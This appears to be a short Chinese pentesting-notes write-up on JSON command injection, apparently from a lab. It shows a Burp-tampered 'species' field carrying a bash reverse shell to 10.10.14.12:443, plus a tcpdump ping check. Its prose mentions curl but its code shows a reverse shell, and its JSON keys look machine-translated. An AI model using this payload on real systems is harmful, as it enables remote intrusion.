> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).
# JSON RCE
我们可以添加带有其物种的“宠物”，这会导致 JSON 注入。
我们使用 Burp Suite 拦截请求，并尝试通过添加一个包含名称和物种的条目来篡改请求：
该条目会被解析，从而允许注入。
```json
{
"名称": "jordan",
"物种": "jordan"
}
```
我们设置一个 ICMP 监听器来观察通信并测试命令注入：
```bash
sudo tcpdump -i tun0 icmp
```
我们收到了 ping 响应，这证实了远程命令执行的可能性。
然后，我们发送一个带有 `curl` 到我们的 Python 服务器，并且也收到了一个请求，这证实了远程代码执行漏洞。
```bash
{
"名称": "jordan",
"物种": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```
---
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